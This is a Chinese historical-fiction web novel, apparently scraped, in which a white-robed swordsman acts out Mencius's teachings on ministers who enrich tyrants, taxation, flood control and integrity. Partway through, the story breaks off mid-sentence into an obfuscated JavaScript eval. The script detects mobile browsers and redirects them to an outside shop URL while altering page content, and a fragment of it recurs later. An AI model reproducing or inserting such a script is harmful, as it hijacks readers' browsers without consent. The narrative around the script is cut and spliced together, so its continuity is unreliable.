白衣人闻之,暗叹:“富桀易悟,辅桀难醒。战国之士,多在梦中。” 三、 乡道谳 时齐都临淄,有“稷下争鸣”。淳于髡、邹衍、田骈等百家论战。白衣人现身学宫,闻诸子多言“强兵”“富国”,忽登台问:“诸公,可使君向道否?” 众怔。淳于髡答:“道在富强。国不富,兵不强,道不行。” “谬矣。”白衣人朗声,“昔桀富有四海,不向道,亡;纣强甲天下,不向仁,灭。今诸公但教君富强,不教君向道,是导君为桀纣。此非事君,是贼君!” 邹衍驳:“五德终始,天命在变。当今战伐之世,非以仁可得。” “是以杀伐代仁义?”白衣人冷笑,“此正孟子所斥‘由今之道,无变今之俗,虽与之天下,不能一朝居也’。诸公自谓知天命,实则顺人欲。顺君之欲而曰天命,是欺天也!” 田骈怒:“足下但知孟子,岂知百家?” “吾知仁。”白衣人声震屋瓦,“桀纣之时,亦有臣曰‘我能富国’‘我能强兵’,彼等亦自谓良臣。今诸公所行,与彼何异?千载之下,皆书‘民贼’!” 有学子问:“然则为臣者,当如何?” “事君以道,志于仁。”白衣人环视,“君欲富,则劝‘富在民’;君欲强,则劝‘强在德’;君欲战,则劝‘战在义’。若君不纳,当去,不当逢恶。今诸公逢君之恶,自谓良臣,实乃民贼。可愧否?” 满堂学宫,寂然无声。忽有老儒泣拜:“老夫授徒三十年,今日方知误人!” 白衣人扶起:“能悟便好。但望稷下学风,从此重道轻术,重仁轻利。” 遂于学宫壁题: “今之事君者, 皆曰我能富国强兵。 此古之民贼也。 君不乡道,不志于仁, 而求富之强之, 是富桀辅桀也。 由今之道,无变今之俗, 虽与之天下,不能一朝居。 诸生勉之!” 题罢,飘然而去。稷下学风,为之稍转。有策士改辙,有学子重德,然积重难返者仍多。 四、 一朝谳 白衣人离齐入楚,见楚王新筑章华台,高耸入云。有令尹昭奚恤正颂功:“臣为君筑此台,可彰国威,聚财富…” 白衣人忽现台下,仰天大笑:“好个民贼,又富一桀!” 昭奚恤怒,命擒之。白衣人指台上役夫:“彼等皆民,为君筑台,冻饿死者几何?” 役夫中有人泣:“已死三十七人…” “此台之下,皆民骨也。”白衣人厉声,“今之所谓良臣,古之所谓民贼。君不向道,不志于仁,而求富之,是富桀也!令尹自谓良臣,实乃民贼之首!” 昭奚恤羞愤,抽剑刺来。白衣人木剑一引,昭奚恤剑脱手,人跌台下。白衣人踏其胸,问:“君可知,由今之道,无变今之俗,虽与之天下,不能一朝居?” “何…何意?” “桀有天下,不能一朝居;纣有天下,不能一朝居。今楚王不仁,纵得天下,能守几日?尔为令尹,不引君向道,但逢君之恶,是速楚之亡也!” 昭奚恤大骇。忽有楚王使者至,宣:“王闻高士至,请入宫。” 白衣人入宫,楚王问:“寡人欲霸天下,当如何?”< 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稷下学宫立“民贼镜”碑,刻孟子此言。碑阴记诸国“良臣”下场,末云: “公孙鞅富秦,车裂; 苏秦约六国,刺死; 张仪欺诸侯,逃亡; 昭奚恤筑台,罢相。 此皆‘今之良臣’, 实古之民贼。 君不乡道,不志于仁, 而彼等富之强之, 是速君之亡也。 后世为臣者, 当以此为镜: 莫逢君恶, 务引君仁。 民贼良臣, 一念之分。” 碑成,有策士过而唾:“腐儒之见!”是夜,梦白衣人问:“君欲为良臣,为民贼?”策士惊寤,汗透重衣,翌日挂冠而去。 又三十年,秦并天下,十五年而亡。有儒生过民贼碑,泣曰:“孟子先知!” 是夜,白衣人影现碑前,抚文叹: “富桀者亡,辅桀者灭。 由今之道,不能一朝。 当时策士,今皆尘土。 唯有此言,千年如镜。” 叹罢,掷剑刻于碑座: “镜有三照: 一照君心,可向仁否? 二照臣心,可引道否? 三照民心,可安乐否? 三心皆照, 方是良臣。 一照不具, 便是民贼。” 刻毕,踏月归去。碑前野菊,岁岁金黄。 似在说: 贼啊,良啊。 君心照,臣心照,民心照。 本章诫世 一、 民贼之辨 - 今之所谓良臣(辟土地、充府库、约与国、战必克),古之所谓民贼 - 破解法:事君当问:是引君向道,还是逢君之恶? - 示例:公孙鞅、苏秦等皆以“富国强兵”自诩良臣,实为助桀之民贼 二、 富桀辅桀 - 君不乡道,不志于仁,而求富之强之,是富桀辅桀 - 惕世:多少“能臣”在助君为虐?多少“功业”是民贼所为? - 反思:所为所言,是导君向善,还是顺君为恶? 三、 一朝不居 - 由今之道,无变今之俗,虽与之天下,不能一朝居 - 深层隐喻:不行仁政,纵得天下,顷刻必亡 - 终极指向:为臣者当务引君向仁,非务强兵富国 民贼偈: 战国策士竞豪雄,皆言富国强兵功。 岂知孟子明如镜,指破民贼古今同。 君不乡道但求富,是富桀纣非效忠。 由今之道若不改,虽得天下一朝空。 后世叹: 公孙苏秦张仪俦,自诩良臣实民贼。 富国强兵皆助桀,约与战克尽辅纣。 孟子之言如雷霆,惊醒千古名利客。 但得君臣皆向道,何需府库积金帛。 正是: 今之事君曰富强,古之民贼今良臣。 君不乡道不求仁,富之强之是辅桀。 由今之道俗不改,虽得天下难居晨。 寄语世间事君者,莫将贼名遗后尘。 55. 税道谳 楔子·二十税 赵国边城,巨贾白圭新筑“济民仓”,开廪放粮,观者如堵。白圭登台朗声道:“吾欲行二十税一之法,岁取民产二十分之一,以代今之十一税。民可减半负,岂不善哉?” 百姓欢呼雷动。忽闻人丛中一声冷笑:“子之道,貉道也。” 众人惊顾,见一白衣人倚柱而立,斗笠面纱,木剑负背,正把玩着一束黍穗。 白圭蹙眉:“足下何人?敢讥善政?” “过路客,闻‘貉道’而行。”白衣人扬了扬黍穗,“敢问先生:万室之国,一人为陶,可乎?” 白圭一怔:“不可,器不足用。” “是矣。”白衣人踱至台前,“北地貉国,五谷不生,惟黍生之;无城郭宫室宗庙祭祀之礼,无诸侯币帛饔飧,无百官有司,故二十取一而足。今先生居中原,欲去人伦,无君子,可乎?” 百姓哗然。白圭面红:“吾但减税,何曾去人伦?” 白衣人环视众民:“城郭谁守?宫室谁修?宗庙谁祭?百官谁养?若行二十税一,税薄用匮,则城垣颓,宗庙废,官廪空,礼乐崩。此非去人伦、无君子而何?” 有老者颤声:“然十一税重,民不堪负…” “税有轻重,道有本末。”白衣人正色,“欲轻于尧舜之道者,是大貉小貉;欲重于尧舜之道者,是大桀小桀。尧舜什一税,中正之道。今赵行十一税,本是尧舜法,何言重?” 白圭怒:“十一税积弊百年,胥吏盘剥,实收常逾二三,吾故欲革之!” “弊在胥吏,非法也。”白衣人直视白圭,“先生不行清吏治、去中饱,但欲削正税,是舍本逐末。譬如屋漏,不补瓦而拆梁,屋岂能不塌?” 百姓窃语纷纷。白圭气结,拂袖而去。 一、 陶工谳 是夜,白圭私宅。白衣人叩门而入,见白圭正对账册叹息,揖道:“日间唐突,特来谢罪。” 白圭冷笑:“足下是来讥我,非来谢罪。” “非也,是来论道。”白衣人自取茶饮,“先生欲行二十税一,可是慕上古轻税?” “正是!昔尧舜之时…” “尧舜行什一税。”白衣人截道,“《禹贡》有载,先生岂不知?” 白圭语塞。白衣人续道:“先生但知貉国二十税一,可知貉国无城郭宫室,无百官有司?今赵国邯郸城高池深,百官俸禄,军卒粮饷,皆赖赋税。若行二十税一,军饷何出?官俸何来?城垣何修?此非爱民,是祸国。” 白圭掷册:“然今十一税,层层加码,民苦久矣!” “是故当革弊,非法。”白衣人正色,“譬如陶器,万人之国需百陶工。今陶工怠惰,器皿粗劣,先生不惩怠工,反减陶工至一人,是器将尽毁也。” 忽有家仆急报:城西陶坊工匠闹事,因税吏强征陶器抵税,坊主不支,欲闭坊。 白圭与白衣人赶至,见陶坊前,税吏正驱车强拉陶器,工匠阻道,哭声震天。坊主跪地哀告:“老爷,今年已征三次,再征,坊将垮矣!” 税吏挥鞭:“十一税乃国法,敢抗者拘!” 白衣人上前,问税吏:“十一税,是征十一。今岁已征三次,是征三十三,此何法?” 税吏横目:“汝何人?敢管官事!” “过路客,知法之人。”白衣人取账簿,“赵国律:岁征十一,分夏秋两季。今春征一次,夏征二次,是何道理?” 税吏语塞。白衣人转向众工匠:“尔等可知,十一税本尧舜中正之法?今弊在胥吏横征,非法之过。若行二十税一,税更薄,胥吏为补亏空,必加倍盘剥。届时尔等将纳三十税一乎?四十税一乎?” 工匠皆愣。白衣人朗声道:“税如陶器,法如陶工。工良则器美,工劣则器毁。今不惩劣工,但毁良法,是自绝生路!” 白圭恍然,上前斥税吏:“本商已查明,尔等私加赋税,中饱私囊。今当报官严惩!” 税吏惶退。白衣人谓众工匠:“法本良法,弊在歪嘴和尚念歪经。汝等当求清吏治、惩贪墨,莫求削正法、毁根基。” 众工匠拜服。白圭长揖:“圭受教矣!险些行貉道,罪甚。” 二、 貉国喻 三日后,白圭邀白衣人赴宴,席间请教:“先生日间言‘大貉小貉’,愿闻其详。” 白衣人问:“先生可曾去北地貉国?” “曾行商至貉,其地苦寒,五谷惟黍,无城无庙,毡帐为居。” “是矣。”白衣人斟酒,“貉国无百官,无军旅,无祭祀,二十税一足矣。然中原有百官需养,有军旅需饷,有城郭需修,有宗庙需祭。若行二十税一,如陶工只一人,器用必匮。器匮,则国危。” 座中有年轻商人起问:“然税重民疲,奈何?” “当问:是税重,还是弊重?”白衣人正色,“譬如十一税,本当十取一。今胥吏贪墨,十取二三,是弊非税。若不清弊,但削税至二十取一,胥吏必十取四五。民负反重!” 白圭击案:“是了!吾昔在貉国,税虽轻,然无官吏盘剥,实得轻负。今赵国之弊,在胥吏,非法也。” “然也。”白衣人颔首,“今之议税者,多如先生,见弊不思革弊,但欲变法。殊不知法愈改,弊愈深。尧舜什一税,行数百年而民不怨,因其时吏治清明。今不效尧舜之吏治,但改尧舜之税法,是缘木求鱼。” 忽有门客报:有儒生聚于市,倡言“行貉道,二十税一,天下可治”。 白衣人与白圭赶至,见一书生高论:“尧舜之道,贵在轻徭薄赋!今当行二十税一,与民休息!” 白衣人上前问:“敢问足下,尧舜行何税?” 书生傲然:“尧舜仁政,当是三十税一!” “《禹贡》载:‘咸则三壤,成赋中邦。’夏后氏五十而贡,殷人七十而助,周人百亩而彻,其实皆什一。足下读何经典,言尧舜三十税一?” 书生语塞。白衣人扬声道:“欲轻于尧舜之道者,是大貉小貉;欲重于尧舜之道者,是大桀小桀。今十一税本是尧舜中道,尔等不知尧舜,但慕貉国,是欲使中国化为貉邦,可乎?” 众儒生哗然。白衣人续道:“无城郭,尔等露宿否?无宫室,君王野处否?无宗庙,先祖不祭否?无百官,谁治郡县?无军旅,谁御外侮?二十税一,是自毁长城!” 百姓中有老兵泣:“是了!若无军饷,谁守边关?” 有士人叹:“若无官俸,谁治讼狱?” 白衣人指书生:“尔等但知税轻,不知国用。是坐而论道,不知柴米。尧舜之道,在什一税,更在吏治清明。今不学尧舜之吏治,但倡貉国之税制,是欺世盗名!” 书生掩面而走。白圭叹:“非先生明辨,圭几为书生所误。” 三、 桀税谳 越一月,邯郸有酷吏新上任,欲行“量亩加税”,将十一税增至十税二。民情汹汹,聚于衙前。 白衣人闻讯,谓白圭:“前有倡轻税者,欲为大貉小貉;今有行重税者,是为大桀小桀。先生巨贾,当为民言。” 白圭蹙眉:“圭商贾,岂敢干政?” “商贾亦民。”白衣人正色,“桀纣重税,鹿台钜桥,终至国亡。今吏欲效桀,民将涂炭。先生忍见乎?” 白圭奋然:“愿从先生往。” 至衙前,见酷吏高坐,正命胥吏鞭笞抗税老农。白衣人排众而出:“且住!” 酷吏斜睨:“汝又敢扰公事?” “非扰,是论法。”白衣人昂首,“赵国律,田赋什一。今大人欲征十二,是何律法?” 酷吏拍案:“边关紧急,加税助饷,国事所需!” “国事所需,当明法度,咨百姓。”白衣人环视民众,“桀纣之时,亦言‘国事所需’。然重税虐民,终至国亡。今大人欲为大桀小桀乎?” 众民鼓噪。酷吏怒:“狂徒谤政,拿下!” 衙役欲上,白衣人木剑一横:“且慢!大人可知,什一税乃尧舜中道?轻于此为大貉,重于此为大桀。今大人加税,是自比桀纣。他日民变,大人可担得起?” 酷吏汗出,强道:“本官为国理财…” “理财非榨民。”白衣人厉声道,“《禹贡》定赋,分上中下三等,因地制赋。今大人不察地力,一概加征,是坏古制,虐生民。尧舜有知,当泣于九泉!” 白圭率众商贾拜:“请大人守什一税,莫为桀纣之行!” 百姓齐跪:“请大人守法!” 酷吏色变,知众怒难犯,只得暂罢加税。 是夜,白衣人谓白圭:“今日阻加税,只解一时。若欲长治,当清吏治,明法度,使什一税实收,不横征,不滥加。” 白圭叹:“谈何容易!” “是不易,然不可不为。”白衣人望向窗外,“昔大禹治水,疏而不堵。今赋税如川,当疏其淤塞,通其壅滞。若但求轻税如貉,或苛税如桀,皆自取灭亡。” 遂与白圭定“税政三议”:一议胥吏考成,禁横征;二议量地定赋,禁滥加;三议民赋公示,禁暗箱。白圭联名百商上呈,赵王纳之,邯郸税政稍清。 四、 中道碑 三年后,白圭行商过邯郸,见市井新立一碑,题“中道碑”,刻孟子与白圭问对全文。碑阴附记: “白圭问二十税一,孟子曰貉道也。 今邯郸税吏,有欲行二十税一者,是为大貉; 有欲行十税二者,是为大桀。 尧舜什一,中正之道。 吾等商民,当守中道, 革弊政,惩贪墨, 使什一税实至实归, 既不效貉,亦不效桀。 立碑为记, 以警后人。” 白圭抚碑泪下:“此先生之功也。” 忽有童子问:“老丈,何为中道?” 白圭指碑:“税如饮食,太少则饥,太多则胀。什一税,不饥不胀,是中道。” “然有吏多征,奈何?” “故需清吏治,如饮食需净器皿。器不净,珍馐亦毒。” 童子恍然。时有儒生过,见碑哂:“什一税岂是尧舜道?当行三十税一!” 白衣人忽现碑侧,笑问:“足下欲行三十税一,是效何国?” 儒生傲然:“效尧舜!” “《禹贡》《周礼》皆载什一,足下读何经?” “这…孟子曰,民为重…” “孟子亦曰,欲轻于尧舜之道者,大貉小貉也。”白衣人截道,“足下欲为貉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“然尧舜行什一税。”其子呈《税政清议》,“三十税一,是貉道。貉国无城郭百官,故可轻税。今郡有城郭,有百官,有军伍,三十税一,何足用?必加征于他项,民反重负。” 郡守悟,止轻税议,行吏治革新,使什一税实归,民果安。 又过一郡,闻税吏横征,十税二三。其子聚民,指“中道碑”拓本:“什一税是中道,过此为大桀。我等当求清吏治,非毁法度。” 民从之,联名上告,惩贪吏,税归什一。 白圭子晚年,于邯郸陶坊见童子习陶,问:“陶器何用?” 童答:“盛物。” “一陶工可供万人否?” “不可,需百工。” “是矣。”白圭子指陶坊,“税如陶器,吏如陶工。工良则器美,工劣则器毁。什一税是好器,需良工守之。今人不责工劣,但欲毁器,岂不谬哉?” 童恍然。坊外忽闻歌: “不责陶工责陶器, 世人愚昧竟如此。 什一税是中正法, 但得良工自完美。 莫慕貉国轻税利, 莫效桀纣重税弊。 尧舜之道在中道, 千古相传永不替。” 歌声杳杳,陶轮转转,泥坯在匠人手中,渐成美器。 似在说: 税啊,法啊。 中道是尧舜。 本章诫世 一、 中道为要 - 什一税是尧舜中道,轻则为大貉小貉,重则为大桀小桀 - 破解法:不慕虚轻,不纵苛重,但守中正 - 示例:白圭欲行二十税一,是慕貉国;酷吏欲行十税二,是效桀纣 二、 税弊在吏 - 今之弊,在胥吏贪墨横征,不在什一税法本身 - 惕世:见税重则欲轻税,见法弊则欲变法,是舍本逐末 - 反思:当革吏治,非毁良法 三、 陶工之喻 - 万室之国一人陶,器不足用;一国无君子(百官),国不可治 - 深层隐喻:治国需百官如陶工,税赋如陶器,需足用,需良工 - 终极指向:守中道,清吏治,使税归实 税道偈: 白圭欲行二十税,孟子譬喻貉国道。 万室之国一陶工,器用不足国将倒。 欲轻尧舜是大貉,欲重尧舜是大桀。 什一税乃中正法,但清吏治民安乐。 后世叹: 什一税法本尧舜,不轻不重是中道。 白圭慕貉欲轻税,岂知无吏国难保。 桀纣重敛民皆怨,貉国无制岂可效? 寄语理财经国者,莫将中道轻易抛。 正是: 白圭问税欲从轻,孟子喻以貉国情。 万室一国一陶工,器用不足事难行。 欲轻尧舜是大貉,欲重尧舜是大桀。 什一税乃中正法,但得吏清国自宁。 56. 邻壑谳 楔子·治水功 时值七国相攻,漳水泛滥。魏国邺城有大夫名白珪(字丹),筑堤百里,导水入赵。是年魏境无水患,赵境成泽国。 魏王嘉其功,赐金封地,号“安波君”。庆功宴上,白珪傲然道:“丹之治水,愈于禹也。” 座中有客窃语:“禹导水入海,白子导水入赵,岂可同论?” 忽闻庭外有人长笑:“以邻为壑,犹自比大禹,岂不谬哉?” 众惊视,见一白衣人倚门而立,斗笠面纱,木剑负背,襟袂飘飘,不沾雨渍。 白珪怒:“足下何人,敢谤吾功?” “过路客,观水而来。”白衣人步入庭中,指天外阴云,“水之道,就下而行。禹之治水,顺其道,以四海为壑。今子筑堤束水,逼水逆流,以邻国为壑,此非治水,是嫁祸也。” 白珪拍案:“水患不治,魏民何辜?” “赵民又何辜?”白衣人直视白珪,“水逆流谓之洚水,洚水者,洪水也,仁人之所恶也。子嫁祸邻国,自诩功高,仁者岂为之?” 满堂寂然。魏王蹙眉:“然则当如何?” “当效禹道,分疏浚导,使水归海。”白衣人朗声,“今子塞此通彼,是移祸耳。他日赵亦筑堤,水回灌魏,两国皆成泽国,岂有宁日?” 白珪面红耳赤,强辩:“水势凶猛,不得不为!” “禹时水不猛乎?”白衣人冷笑,“然禹八年于外,三过家门不入,疏九河,注四海,未尝以邻为壑。子之过矣。” 语罢,飘然而出。庭外暴雨忽至,雷电交加。 一、 洚水谳 三日后,白衣人现于赵境洪区。但见房舍尽没,灾民栖于高岗,哭声震野。有老妪抱树哀泣:“魏人筑堤,逼水淹我,天乎!” 白衣人驾小舟救民,舟中一少年泣问:“先生,魏人何故害我?” “非魏人害汝,是魏国大夫白珪,以邻为壑。”白衣人叹,“禹导水入海,以四海为壑;今白珪导水入赵,以赵国为壑。壑在邻国,灾在汝等。” 少年恨道:“他日我必报仇!” “报仇非仁者所为。”白衣人正色,“当以仁心化仇怨。若赵国亦筑堤回灌,是移祸相报,永无了期。” 忽有数舟至,乃白珪率魏国工匠,携粮米来赈。白珪见白衣人,赧然揖道:“先生在此…丹见赵民惨状,心实不忍。” 白衣人问:“君是来赈灾,还是来赎罪?” “皆…皆有。” “然水患未解,赈济何益?”白衣人指汪洋,“水不退,民无家。君可愿与赵共治水?” 白珪沉吟:“然若分疏入海,工程浩大,且魏境亦恐受淹…” “是恐己国受淹,故淹他国?”白衣人厉声,“此正是仁者所恶!禹治水,已国不受淹乎?然宁疏勿堵,宁劳己不祸人。今君位同大夫,心不及禹,可愧否?” 魏国工匠中有老者泣拜:“先生明鉴!我等筑堤时,已知必淹赵民,然上命难违…” 白珪汗下如雨,忽跪水中:“丹…丹知罪矣!愿毁堤分水,与赵共患。” 白衣人扶起:“知罪能改,善莫大焉。然毁堤需赵魏合力,君可敢往说赵王?” “敢!” 二、 禹壑谳 时赵王正怒,欲发兵伐魏。闻白珪来,命绑入帐。白衣人随入,长揖道:“大王,白珪非来请罪,是来献策解水患。” 赵王冷笑:“献策?寡人当斩其首祭河!” “斩一人易,解水患难。”白衣人正色,“昔禹父鲧筑堤堵水,九年无功。禹改堵为疏,八年成功。今白珪效鲧,以邻为壑;大王若斩之泄愤,是效白珪,非效禹也。” 赵王一怔。白衣人续道:“水患当前,当思禹道。赵魏合力,分疏漳水,导之入海,方是长治久安。若相攻伐,水患更甚,两国皆亡。” 白珪伏地:“臣愿毁堤分水,并献家财,助赵治水。” 赵王沉吟。白衣人指帐外灾民:“大王看,此皆赵民,亦是人子。今水患不解,纵得魏地,民无生路,地有何用?禹以四海为壑,故得天下;今大王若以仁心为壑,当得赵民死力。” 赵王动容,亲释白珪:“寡人闻先生言,如闻禹训。愿与魏共治水。” 遂订“漳水盟”:赵魏各出民夫三万,同疏河道。白珪为督工,白衣人为监理。 开工日,两岸灾民初时怒目,及见河道渐通,水势稍退,方有悦色。白衣人命于工地理“分水石”,刻“禹迹”二字,告众:“禹治水,以四海为壑。今我等治水,当以仁心为壑。仁心所至,水患自平。” 有赵民问:“先生,魏人淹我田宅,岂可轻恕?” 白衣人指分水石:“水无国界,但循道行。今魏人助我疏水,是悔过向道。若记仇不释,是自筑心堤,终成洚水。” 又有魏民问:“分水入魏,岂不淹我?” “疏水非淹水。”白衣人示以河图,“水道通,则水分流,不壅不塞。今所疏之道,赵魏各半,共担其劳,共享其利。此方是禹道。” 三月,水道初通,水患大减。赵魏之民,始有笑语。 三、 四海壑 然漳水下游为齐境,齐王闻赵魏疏水,恐水入齐,命筑堤拦阻。白衣人闻讯,叹:“今又有以邻为壑者。” 遂与白珪赴齐。齐王拒见,命射箭驱之。白衣人立箭雨中,朗声道:“昔禹导水入海,经九州而不阻。今齐阻水道,是欲为九州之壑乎?” 齐将喝:“水入齐境,必成灾患!” “水患在壅,不在流。”白衣人展河图,“今赵魏已疏上游,若齐疏下游,水可直入东海。若齐筑堤,水壅回灌,赵魏齐三国皆成泽国。大王欲效白珪之过乎?” 齐王隔帘问:“然疏水劳民伤财,寡人何利?” “利在万民,利在千秋。”白衣人正色,“禹治水,非为利,为仁。今大王若行仁政,导水入海,则齐国免患,万民感恩,此非大利乎?若但顾眼前,以邻为壑,他日水回灌,悔之晚矣。” 白珪跪禀:“臣昔以邻为壑,几酿大祸。今愿助齐疏水,赎前愆。” 齐王沉吟良久,叹:“寡人不如大夫能改过。”遂允疏水。 于是赵、魏、齐三国共治漳水,役夫十万,绵延百里。白衣人日夜巡工,见有争执,必以“禹道”劝和。工地上渐有歌谣: “昔禹治水四海壑, 今人治水邻为壑。 幸有白衣明大道, 三国同心疏漳河。 水道通,民心通, 洚水化作恩波多。” 半年,漳水全线疏通,入海无阻。是岁虽大雨,三国无患。 庆功日,赵、魏、齐三王会于分水台。白衣人请立“禹壑碑”,刻文: “白珪曰:‘丹之治水愈于禹。’ 孟子曰:‘子过矣。禹以四海为壑,今子以邻国为壑。’ 今漳水既治,三国共鉴: 水之道,就下而行; 人之道,向仁而为。 以邻为壑者,灾祸相寻; 以四海为壑者,天下归仁。 立碑为誓,永志不忘。” 三王盟誓,永不筑堤壅水,嫁祸邻国。白珪自请削爵,专司水利,后人称“漳水君”。 四、 仁心壑 白衣人将行,白珪率众送别,泣问:“先生去后,若他国再有以邻为壑者,奈何?” “但传禹道,莫行鲧术。”白衣人解木剑,劈河边巨石为二,立于禹壑碑两侧,刻联: “左:水就下,岂有国界? 右:仁向心,何分你我?” 又嘱:“治水如治世,当顺道而行。道者,仁也。以仁心为壑,则万流归海;以私心为壑,则灾祸连绵。尔等但记:四海可壑,仁心不可失;邻国可助,私欲不可纵。” 白珪拜受。忽有快马来报:楚、韩相攻,楚壅汉水灌韩,韩民死伤无数。 白衣人叹:“又有以邻为壑者。”遂与白珪南下。 至汉水,见楚军筑坝如山,韩境尽成汪洋。楚将骄横:“水攻之法,自古有之!” 白衣人登坝,问楚将:“将军可知,水逆流谓之洚水?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088208|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “自然!” “洚水者,洪水也,仁人之所恶也。”白衣人厉声道,“将军以邻为壑,自谓得计。然水可壅一时,不可壅一世。他日坝溃,楚先受殃。且天下闻楚不仁,谁肯亲附?” 楚将嗤:“成王败寇,何需仁名?” “然则禹以仁王,桀纣以暴亡。”白衣人指韩民浮尸,“此皆人命,非草木。将军忍乎?” 楚将语塞。白衣人又赴韩,见韩王欲效楚,壅水回灌。谏曰:“大王欲效楚之不仁乎?楚壅水,已失道;大王若效之,是失道又失义。当效禹道,疏水导流,并说楚共治。” 韩王泣:“然寡人恨楚…” “恨在壅水,不在水。”白衣人道,“水无罪,罪在壅者。今当解壅,非移祸。” 遂为韩楚调解,毁坝疏水。楚王初不许,白衣人示以“禹壑碑”拓本,并言:“三国共治漳水,今无水患,反成友邦。楚韩若共治汉水,岂不胜于相攻?” 楚王感其诚,允之。汉水既治,楚韩盟好。 自此,“禹道”传于列国。有壅水者,民辄斥:“欲效白珪之过乎?” 尾声壑碑歌 十年后,白珪老病,嘱子孙:“吾墓傍漳水,碑刻‘昔以邻为壑,今以仁为壑’。” 葬日,赵、魏、齐、楚、韩皆遣使祭。忽有白衣人影现于墓前,抚碑歌曰: “白珪昔年比禹功, 孟子直言邻壑同。 洚水本是仁者恶, 岂可嫁祸自逞雄? 禹导四海为壑广, 人怀仁心可壑宏。 寄语后世治水者, 莫将私欲塞胸中。” 歌罢,掷剑刻于碑阴: “水无国界,仁无边际。 以邻为壑,灾祸相继; 以四海为壑,天下受益; 以仁心为壑,万世可济。 白珪能改,是为真勇; 后世效之,是为大智。” 刻毕,剑化白虹,贯入漳水。自此每至汛期,漳水清波,不溢不涸。乡老言:白衣人化龙镇水矣。 后有书生过禹壑碑,问牧童:“此碑何用?” 童答:“爷爷说,见碑如见白衣先生,不敢以邻为壑。” 书生叹:“一碑之力,胜于十万兵。” 是夜,月明如水,漳河涛声,如吟如诉: “壑啊,壑啊。 四海是壑,仁心是壑。 邻国…不是壑。” 本章诫世 一、 壑道之辨 - 禹以四海为壑,白珪以邻国为壑。仁者所恶,在以邻为壑 - 破解法:遇灾祸,当思共解,莫思转嫁 - 示例:白珪导水淹赵,是以邻为壑;后改过疏水,是以仁为壑 二、 洚水之恶 - 水逆流谓之洚水,洚水者洪水也,仁人之所恶 - 惕世:多少“妙计”是祸水他引?多少“功业”是嫁祸于人? - 反思:可曾“以邻为壑”而不自知? 三、 仁心为壑 - 以四海为壑可得天下,以仁心为壑可安万民 - 深层隐喻:一切灾害,皆可转为立德之机 - 终极指向:勿嫁祸,须共担;勿筑堤,须疏浚 邻壑偈: 白珪治水自称雄,孟子指其邻壑同。 禹导四海为壑广,丹逼漳水灌赵中。 洚水本是仁者恶,岂可嫁祸邀功隆? 幸得白衣明大道,三国疏河天下公。 后世叹: 魏国大夫白珪公,筑堤导水淹赵封。 自诩治水胜大禹,岂知嫁祸心不仁。 白衣指陈邻壑谬,三王共疏漳河通。 寄语后世理水者,莫将私欲塞胸中。 正是: 白珪治水欲比禹,孟子直言邻壑非。 禹导四海为壑广,丹逼漳水灌赵畿。 洚水本是仁者恶,岂可嫁祸邀功徽? 但得心怀仁心壑,何需筑堤生祸机。 57. 不亮谳 楔子·执烛夜 秦赵长平战后,邯郸城宵禁。戌时三刻,城门司马高执正欲下钥,忽有黑衣客叩关:“军情急,需出城。” 高执秉烛观其符节,果是军使印信,然烛火摇曳,照见来客面有慌色。副将低语:“司马,此人眼生,且已宵禁…” 黑衣客急道:“延误军情,尔等担待?” 高执默然片刻,忽吹熄烛火,城门顿暗。副将惊:“司马何故熄烛?” 黑暗中,高执声稳如钟:“君子不亮,恶乎执?今烛不明,吾心自明。汝非军使——军使虎口有茧,汝手白如纸;军使行囊必有尘土,汝囊崭新。说!何人假冒?” 黑衣客暴起抽刀,高执于黑暗中听风辨位,闪身擒拿。燃烛再视,果是敌国细作。 副将拜服:“司马真神人也!” 高执叹:“非神,是守心。心不明,纵千烛何用?” 忽闻城楼有人拊掌:“善哉!君子不亮,恶乎执?” 众人惊顾,见一白衣人坐于垛口,斗笠面纱,木剑横膝,不知何时而至。 一、 烛下影 白衣人飘然下垛,问高执:“足下方才言‘心不明,纵千烛何用’,然若无烛,何以辨细作?” 高执揖道:“初秉烛,已观其疑;熄烛,是试其诈。烛在时,彼可伪装;烛灭时,彼必露慌。此谓‘不亮而执’。” “妙!”白衣人拊掌,“孟子曰:‘君子不亮,恶乎执?’今足下行事,正合此理——亮者,明也,信也。君子内心不明,何能执守正道?然此‘明’非借外光,是心中自有明烛。” 副将惑:“然则烛火无用乎?” “烛火照形,心火照神。”白衣人指烛,“形可伪,神不可伪。适才司马熄烛,是弃形求神。此方是真明。” 忽有驿卒奔至:“报!东门有车队求入,言是赵国流亡公子,携重宝投邯郸。” 高执蹙眉:“公子?何公子?” “自称公子成,昔质于秦,今逃归。” 白衣人问:“足下欲如何?” “往观之。”高执提烛欲行。 白衣人忽道:“且带此烛。”自袖中取一白烛,其光皎洁,异于常烛。 至东门,果见华车十乘,仆从百余。为首者锦衣玉带,确似公子。高执秉常烛近观,见其佩玉、衣纹、车制皆合礼,然面色僵白。 白衣人递上白烛:“请用此烛。” 烛光及处,那“公子”忽露慌色,袖中微颤。高执厉喝:“公子成左颊有痣,汝无!公子成畏漆,汝袖有漆渍!何方宵小?” “公子”暴起,竟是秦国死士假扮。随从皆抽刃,高执率军围捕。混战中,白衣人白烛不摇,光照如昼,贼人无所遁形,尽数就擒。 事毕,高执拜问:“先生白烛,似有神通?” 白衣人笑:“非烛神,是心明。此烛名‘本心烛’,但得心明,照物自真。适才足下已疑其伪,然常烛昏黄,照形不照心;此烛皎洁,能映心虚。可知孟子‘不亮’之要?” 高执恍然:“君子内心若不光明磊落,何能执守是非?然此‘光明’非外求,是本心自明。方才下官若无本心之明,纵持先生宝烛,亦难辨奸邪。” “然也。”白衣人颔首,“今有一案,可验此理。” 二、 暗室谳 